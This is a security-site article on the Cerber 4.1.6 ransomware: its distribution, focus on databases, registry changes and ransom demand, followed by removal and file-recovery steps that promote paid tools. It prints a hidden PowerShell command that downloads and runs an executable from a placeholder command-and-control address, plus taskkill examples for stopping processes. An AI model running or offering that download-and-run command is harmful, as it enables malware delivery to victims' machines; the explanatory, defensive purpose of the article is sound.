Cerber 4.1.6 Ransomware - Remove Virus and Restore Encrypted Files - How to, Technology and PC Security Forum | SensorsTechForum.com
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Cerber 4.1.6 Ransomware – Remove Virus and Restore Encrypted Files

cerber-4-1-6-ransomware-infections-sensorstechforumAnd just when we thought the Cerber variants of its 4th version were over, the main competitors of Locky ransomware have surpised us with 4.1.6 iteration. The version does not include major improvements, but a new wallpaper as well as new distribution websites featured. Another new improvement in this version is that Cerber 4.1.6 is now more focused on encrypting databases, due to their higher importance for organizations, in case an enterprise computer is infected. After the 4.1.6 version of Cerber ransomware infects your computer, the virus immediately renders the files encrypted using a strong encryption algorithm. This is done with the purpose to get users to visit a web page promoting a Cerber decryptor for a payment in BitCoin in return for the decryption keys for the encrypted files uniquely generated for the specific infection. In case you have become a victim by this new form of online extortion. We advise you to be very cautious in your future moves and read this article.

Threat Summary

Name

Cerber 4.1.6

TypeRansomware
Short DescriptionThe malware encrypts users files using a strong encryption algorithm, making direct decryption possible only via a unique decryption key available to the cyber-criminals.
SymptomsThe user may witness ransom notes and “instructions” linking to a web page and a decryptor. Changed file names and random file-extension has been used.
Distribution MethodVia an Exploit kit, Dll file attack, malicious JavaScript or a drive-by download of the malware itself in an obfuscated manner.
Detection Tool See If Your System Has Been Affected by Cerber 4.1.6

Download

Malware Removal Tool

User ExperienceJoin our forum to Discuss Cerber 4.1.6.
Data Recovery ToolWindows Data Recovery by Stellar Phoenix Notice! This product scans your drive sectors to recover lost files and it may not recover 100% of the encrypted files, but only few of them, depending on the situation and whether or not you have reformatted your drive.

Cerber 4.1.6 – What Is New

New Infection Strategy

When we take a look at the version 4 of Cerber ransomware, most of its sub versions (4.1.0, 4.1.1, 4.1.3, 4.1.4, 4.1.5) use e-mails and spam of malicious URLs on websites and other places to distribute and infect unsuspecting users. The 4.1.6 iteration of Cerber, however may have undertaken a different approach when it comes to infection, combining all types of distribution techniques together. Below, from the first Cerber detections, we see a sample which uses a fake portable Firefox web browser executable to cause an infection:

cerber-ransowmare-4-1-6-detections-virus-total-sensorstechforum

This strategy is very clever and torrent engines may be used to distribute it. Hackers go as far as even hacking accounts of 5 star uploaders on torrent websites to upload torrents that only pretend to be legitimate software but may in fact slither the 4.1.6 as well as the other versions of Cerber. This is because the network of Cerber ransomware is used as RaaS(Ransowmare as a service) and there are a lot of different individuals who are distributing the ransomware via different type of spam campaigns.

Cerber 4.1.6 Now More Focused on Databases

Since databases are mainly very important for organizations, Cerber was recently reported by researchers to be focused on attacking more and more forms of databases that exist out there. The primary reason for this is that the cyber-criminals generate a lot of profit by encrypting files of higher importance. Not only this but the 4.1.6 version may execute a batch (.bat) file that will immediately close the database process in case it is running in order to encode the database. Here are some examples, provided by Microsoft of the taskkill command’s uses, Cerber 4.1.6 may undertake:

→ taskkill /pid 1230 /pid 1241 /pid 1253
taskkill /f /fi “USERNAME eq NT AUTHORITY\SYSTEM” /im notepad.exe
taskkill /s srvmain /f /im notepad.exe
taskkill /s srvmain /u maindom\hiropln /p p@ssW23 /fi “IMAGENAME eq note*” /im *
taskkill /s srvmain /u maindom\hiropln /fi “USERNAME ne NT*” /im *
taskkill /f /fi “PID ge 1000” /im *

Further research also suggests that the 4.16 iteration of Cerber may target the following types of databases:

  • Microsoft Access.
  • Oracle.
  • MySQL.

Unlike other ransomware viruses that primarily focus on targeting pictures, documents, videos and audio files, the Cerber family of viruses is primarily focused on targeting databases now.

How Does Cerber 4.1.6 Work

Similar to the other versions of the ransomware, once its malicious file has been executed on the user’s computer, it uses obfuscation to avoid detection by any antivirus programs. This is performed by a powershell command allowing the concealed download and starting of a malicious process, most likely located in the %AppData% directory:

→PS C:\Users\{Username}> POWERSHELL.EXE –window hidden (New-Object System.net.WebClient).DownloadFile(‘http://{malicious cerber c2 ip}~trevor/winx64.exe’,”$env:APPDATA\winx64.exe);Start-Process (“$env:APPDATA\winx64.exe”)

After the malicious executable is download and launched it may tamper with key registry sub-keys and add custom registry values in them to cause the encryption process to be uninterrupted and quiet and make Cerber 4.1.6 assume control of the components it needs for it to perform.

→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
→HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
→HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
→HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
→HKEY_LOCAL_MACHINE\Software\Classes
→HKEY_CURRENT_USER\Software\Classes
→HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

After the encryption process has been finished, the 4.1.6 version drops a “readme.hta”(HTML) ransom note file and changes the wallpaper to the traditional Cebrer screen:

cx7g-kxwiaevxeh-jpg-large

The note and the wallpaper both point out the Cerber Decryptor web page, which explains the situation to the victim:

cerber-ransomware-4-1-6-payment-page-sensorstechforum-com

What is different here is that this version of Cerber demands a significantly higher payment amount then the previous iterations – If $499 USD in BTC is not paid in time, the price for the decryption of the files increases to $999.

Cerber 4.1.6 – What to Do If I am Infected

In case you have become an unfortunate victim of this variant of Cerber, we strongly advise you to use the option on the ransom web page to decrypt one file for free:

cerber-decryptor-decrypt-1-file-for-free

Since paying the ransom is strongly not recommended , experts advise that you should backup the encrypted files on an external drive and instead of paying the ransom remove the virus using the information from the removal instructions below. For maximum effectiveness we advise you to take into consideration removing Cerber automatically with an anti-malware software.

After you have removed Cerber, we advise you to attempt alternative methods to restore your files such as the ones which are posted in step “2. Restore files encrypted by Cerber 4.1.6” below. They may not be 100% a solution, but they are a good temporary alternatives until malware researchers come up with a decryptor, just like what happened with the first version of Cerber last year. We will update this article with more information and a link to a decryptor as soon as it becomes available and this is why we advise you to check this web page regularly.

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Ventsislav Krastev

Ventsislav has been covering the latest malware, software and newest tech developments at SensorsTechForum for 3 years now. He started out as a network administrator. Having graduated Marketing as well, Ventsislav also has passion for discovery of new shifts and innovations in cybersecurity that become game changers. After studying Value Chain Management and then Network Administration, he found his passion within cybersecrurity and is a strong believer in basic education of every user towards online safety.

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Windows Mac OS X

How to Remove Cerber 4.1.6 from Windows.


Step 1: Boot Your PC In Safe Mode to isolate and remove Cerber 4.1.6

OFFER

Manual Removal Usually Takes Time and You Risk Damaging Your Files If Not Careful!
We Recommend To Scan Your PC with SpyHunter

Keep in mind, that SpyHunter’s scanner is only for malware detection. If SpyHunter detects malware on your PC, you will need to purchase SpyHunter's malware removal tool to remove the malware threats. Read our SpyHunter 5 review. Click on the corresponding links to check SpyHunter's EULA, Privacy Policy and Threat Assessment Criteria

1. Hold Windows key() + R


2. The "Run" Window will appear. In it, type "msconfig" and click OK.


3. Go to the "Boot" tab. There select "Safe Boot" and then click "Apply" and "OK".
Tip: Make sure to reverse those changes by unticking Safe Boot after that, because your system will always boot in Safe Boot from now on.


4. When prompted, click on "Restart" to go into Safe Mode.


5. You can recognise Safe Mode by the words written on the corners of your screen.


Step 2: Uninstall Cerber 4.1.6 and related software from Windows

Here is a method in few easy steps that should be able to uninstall most programs. No matter if you are using Windows 10, 8, 7, Vista or XP, those steps will get the job done. Dragging the program or its folder to the recycle bin can be a very bad decision. If you do that, bits and pieces of the program are left behind, and that can lead to unstable work of your PC, errors with the file type associations and other unpleasant activities. The proper way to get a program off your computer is to Uninstall it. To do that:


1. Hold the Windows Logo Button and "R" on your keyboard. A Pop-up window will appear.


2. In the field type in "appwiz.cpl" and press ENTER.


3. This will open a window with all the programs installed on the PC. Select the program that you want to remove, and press "Uninstall"
Follow the instructions above and you will successfully uninstall most programs.


Step 3: Clean any registries, created by Cerber 4.1.6 on your computer.

The usually targeted registries of Windows machines are the following:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

You can access them by opening the Windows registry editor and deleting any values, created by Cerber 4.1.6 there. This can happen by following the steps underneath:

1. Open the Run Window again, type "regedit" and click OK.


2. When you open it, you can freely navigate to the Run and RunOnce keys, whose locations are shown above.


3. You can remove the value of the virus by right-clicking on it and removing it.
Tip: To find a virus-created value, you can right-click on it and click "Modify" to see which file it is set to run. If this is the virus file location, remove the value.

IMPORTANT!
Before starting "Step 4", please boot back into Normal mode, in case you are currently in Safe Mode.
This will enable you to install and use SpyHunter 5 successfully.

Step 4: Scan for Cerber 4.1.6 with SpyHunter Anti-Malware Tool

1. Click on the "Download" button to proceed to SpyHunter's download page.


It is recommended to run a scan before purchasing the full version of the software to make sure that the current version of the malware can be detected by SpyHunter. Click on the corresponding links to check SpyHunter's EULA, Privacy Policy and Threat Assessment Criteria.


2. After you have installed SpyHunter, wait for it to update automatically.

SpyHunter5-update-2018


3. After the update process has finished, click on the 'Malware/PC Scan' tab. A new window will appear. Click on 'Start Scan'.

SpyHunter5-Free-Scan-2018


4. After SpyHunter has finished scanning your PC for any files of the associated threat and found them, you can try to get them removed automatically and permanently by clicking on the 'Next' button.

SpyHunter-5-Free-Scan-Next-2018

If any threats have been removed, it is highly recommended to restart your PC.

Step 5 (Optional): Try to Restore Files Encrypted by Cerber 4.1.6.

Ransomware infections and Cerber 4.1.6 aim to encrypt your files using an encryption algorithm which may be very difficult to decrypt. This is why we have suggested a data recovery method that may help you go around direct decryption and try to restore your files. Bear in mind that this method may not be 100% effective but may also help you a little or a lot in different situations.

1. Download the reccomended Data Recovery software by clicking on the link underneath:

If the above link does not work for you and your region, try the other two links below, that lead to the same product:

and

2. On the download page, click on the "Download" button:

3. Click on "Save File" button:

4. Accept all agreements and click "Next":

5. After all the "Next" steps, click on "Install" and then wait for the installation to complete:

6. Run the software. Click on the location to scan for missing or deleted files and click on "Scan":

7. Wait for the scan to complete, it may take some time. Be advised that this scan is not 100% guaranteed to recover all files, but it does have some chance to get your data back:


Windows Mac OS X

Get rid of Cerber 4.1.6 from Mac OS X.


Step 1: Uninstall Cerber 4.1.6 and remove related files and objects

OFFER
Manual Removal Usually Takes Time and You Risk Damaging Your Files If Not Careful!
We Recommend To Scan Your Mac with SpyHunter for Mac
Keep in mind, that SpyHunter for Mac needs to purchased to remove the malware threats. Click on the corresponding links to check SpyHunter’s EULA and Privacy Policy


1. Hit the ⇧+⌘+U keys to open Utilities. Another way is to click on “Go” and then click “Utilities”, like the image below shows:


2. Find Activity Monitor and double-click it:


3. In the Activity Monitor look for any suspicious processes, belonging or related to Cerber 4.1.6:

Tip: To quit a process completely, choose the “Force Quit” option.


4. Click on the "Go" button again, but this time select Applications. Another way is with the ⇧+⌘+A buttons.


5. In the Applications menu, look for any suspicious app or an app with a name, similar or identical to Cerber 4.1.6. If you find it, right-click on the app and select “Move to Trash”.


6: Select Accounts, after which click on the Login Items preference. Your Mac will then show you a list of items that start automatically when you log in. Look for any suspicious apps identical or similar to Cerber 4.1.6. Check the app you want to stop from running automatically and then select on the Minus (“-“) icon to hide it.


7: Remove any left-over files that might be related to this threat manually by following the sub-steps below:

  • Go to Finder.
  • In the search bar type the name of the app that you want to remove.
  • Above the search bar change the two drop down menus to “System Files” and “Are Included” so that you can see all of the files associated with the application you want to remove. Bear in mind that some of the files may not be related to the app so be very careful which files you delete.
  • If all of the files are related, hold the ⌘+A buttons to select them and then drive them to “Trash”.

In case you cannot remove Cerber 4.1.6 via Step 1 above:

In case you cannot find the virus files and objects in your Applications or other places we have shown above, you can manually look for them in the Libraries of your Mac. But before doing this, please read the disclaimer below:

Disclaimer! If you are about to tamper with Library files on Mac, be sure to know the name of the virus file, because if you delete the wrong file, it may cause irreversible damage to your MacOS. Continue on your own responsibility!

1: Click on "Go" and Then "Go to Folder" as shown underneath:

2: Type in "/Library/LauchAgents/" and click Ok:

3: Delete all of the virus files that have similar or the same name as Cerber 4.1.6. If you believe there is no such file, do not delete anything.

You can repeat the same procedure with the following other Library directories:

→ ~/Library/LaunchAgents
/Library/LaunchDaemons

Tip: ~ is there on purpose, because it leads to more LaunchAgents.


Step 2: Scan for and remove Cerber 4.1.6 files from your Mac

When you are facing problems on your Mac as a result of unwanted scripts and programs such as Cerber 4.1.6, the recommended way of eliminating the threat is by using an anti-malware program. Combo Cleaner offers advanced security features along with other modules that will improve your Mac’s security and protect it in the future.


Step 3 (Optional): Try to Restore Files Encrypted by Cerber 4.1.6 on your Mac.

Ransomware for Mac Cerber 4.1.6 aims to encode all your files using an encryption algorithm which may be very difficult to decode, unless you pay money. This is why we have suggested a data recovery method that may help you go around direct decryption and try to restore your files, but only in some cases. Bear in mind that this method may not be 100% effective but may also help you a little or a lot in different situations.

1. Download the recommended Data Recovery Mac app by clicking on the link underneath:

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